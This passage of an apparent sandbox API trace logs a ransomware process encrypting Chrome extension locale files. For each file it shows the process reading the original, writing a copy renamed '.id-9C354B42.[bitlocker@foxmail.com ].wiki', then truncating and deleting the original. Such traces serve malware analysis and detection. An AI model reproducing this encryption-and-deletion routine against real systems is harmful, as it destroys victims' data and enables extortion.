Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.224] lstrlenW (lpString=".dbf") returned 4 [0177.225] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.225] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.225] lstrlenW (lpString=".1cd") returned 4 [0177.225] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.225] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 151 [0177.225] lstrlenW (lpString=".jpg") returned 4 [0177.225] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.225] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.225] lstrlenW (lpString="messages.json") returned 13 [0177.225] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.225] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=150) returned 1 [0177.226] CloseHandle (hObject=0x1ac) returned 1 [0177.226] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json")) returned 0x2020 [0177.226] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.226] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.226] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.226] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.226] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.226] GetLastError () returned 0x0 [0177.226] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x96, lpOverlapped=0x0) returned 1 [0177.228] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xa0, lpOverlapped=0x0) returned 1 [0177.229] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.229] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.229] SetEndOfFile (hFile=0x1a0) returned 1 [0177.229] CloseHandle (hObject=0x1a0) returned 1 [0177.229] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.229] SetEndOfFile (hFile=0x1ac) returned 1 [0177.230] CloseHandle (hObject=0x1ac) returned 1 [0177.230] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.230] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json")) returned 1 [0177.230] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.230] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.230] lstrlenW (lpString=".doc") returned 4 [0177.230] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.230] lstrlenW (lpString=".docx") returned 5 [0177.230] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.230] lstrlenW (lpString=".pdf") returned 4 [0177.230] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.231] lstrlenW (lpString=".xls") returned 4 [0177.231] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.231] lstrlenW (lpString=".xlsx") returned 5 [0177.231] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.231] lstrlenW (lpString=".ppt") returned 4 [0177.231] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.231] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.231] lstrlenW (lpString=".zip") returned 4 [0177.231] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.231] lstrlenW (lpString=".rar") returned 4 [0177.231] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.231] lstrlenW (lpString=".bz2") returned 4 [0177.231] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.231] lstrlenW (lpString=".7z") returned 3 [0177.231] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.231] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.231] lstrlenW (lpString=".dbf") returned 4 [0177.231] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.231] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.231] lstrlenW (lpString=".1cd") returned 4 [0177.231] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.231] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.231] lstrlenW (lpString=".jpg") returned 4 [0177.231] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.231] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.231] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.231] lstrlenW (lpString=".doc") returned 4 [0177.231] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.231] lstrlenW (lpString=".docx") returned 5 [0177.231] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.232] lstrlenW (lpString=".pdf") returned 4 [0177.232] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.232] lstrlenW (lpString=".xls") returned 4 [0177.232] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.232] lstrlenW (lpString=".xlsx") returned 5 [0177.232] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.232] lstrlenW (lpString=".ppt") returned 4 [0177.232] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.232] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.232] lstrlenW (lpString=".zip") returned 4 [0177.232] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.232] lstrlenW (lpString=".rar") returned 4 [0177.232] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.232] lstrlenW (lpString=".bz2") returned 4 [0177.232] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.232] lstrlenW (lpString=".7z") returned 3 [0177.232] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.232] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.232] lstrlenW (lpString=".dbf") returned 4 [0177.232] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.232] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.232] lstrlenW (lpString=".1cd") returned 4 [0177.232] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.232] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 151 [0177.232] lstrlenW (lpString=".jpg") returned 4 [0177.232] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.232] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.233] lstrlenW (lpString="messages.json") returned 13 [0177.233] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.233] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=180) returned 1 [0177.233] CloseHandle (hObject=0x1ac) returned 1 [0177.233] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json")) returned 0x2020 [0177.233] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.233] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.233] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.234] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.234] GetLastError () returned 0x0 [0177.234] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb4, lpOverlapped=0x0) returned 1 [0177.235] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0177.236] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.236] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.236] SetEndOfFile (hFile=0x1a0) returned 1 [0177.236] CloseHandle (hObject=0x1a0) returned 1 [0177.236] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.236] SetEndOfFile (hFile=0x1ac) returned 1 [0177.237] CloseHandle (hObject=0x1ac) returned 1 [0177.237] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.237] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json")) returned 1 [0177.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.238] lstrlenW (lpString=".doc") returned 4 [0177.238] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.238] lstrlenW (lpString=".docx") returned 5 [0177.238] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.238] lstrlenW (lpString=".pdf") returned 4 [0177.238] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.238] lstrlenW (lpString=".xls") returned 4 [0177.238] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.238] lstrlenW (lpString=".xlsx") returned 5 [0177.238] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.238] lstrlenW (lpString=".ppt") returned 4 [0177.238] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.238] lstrlenW (lpString=".zip") returned 4 [0177.238] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.238] lstrlenW (lpString=".rar") returned 4 [0177.238] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.238] lstrlenW (lpString=".bz2") returned 4 [0177.238] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.238] lstrlenW (lpString=".7z") returned 3 [0177.238] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.238] lstrlenW (lpString=".dbf") returned 4 [0177.238] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.238] lstrlenW (lpString=".1cd") returned 4 [0177.238] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.239] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.239] lstrlenW (lpString=".jpg") returned 4 [0177.239] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.239] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.239] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.239] lstrlenW (lpString=".doc") returned 4 [0177.239] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.239] lstrlenW (lpString=".docx") returned 5 [0177.239] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.239] lstrlenW (lpString=".pdf") returned 4 [0177.239] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.239] lstrlenW (lpString=".xls") returned 4 [0177.239] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.239] lstrlenW (lpString=".xlsx") returned 5 [0177.239] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.239] lstrlenW (lpString=".ppt") returned 4 [0177.239] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.239] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.239] lstrlenW (lpString=".zip") returned 4 [0177.239] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.239] lstrlenW (lpString=".rar") returned 4 [0177.239] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.239] lstrlenW (lpString=".bz2") returned 4 [0177.239] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.239] lstrlenW (lpString=".7z") returned 3 [0177.239] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.239] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.239] lstrlenW (lpString=".dbf") returned 4 [0177.239] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.239] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.240] lstrlenW (lpString=".1cd") returned 4 [0177.240] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.240] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 151 [0177.240] lstrlenW (lpString=".jpg") returned 4 [0177.240] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.240] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.240] lstrlenW (lpString="messages.json") returned 13 [0177.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.240] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=187) returned 1 [0177.240] CloseHandle (hObject=0x1ac) returned 1 [0177.240] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json")) returned 0x2020 [0177.241] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.241] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.241] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.241] SetFilePointerEx (in: hFile=0x1ac, 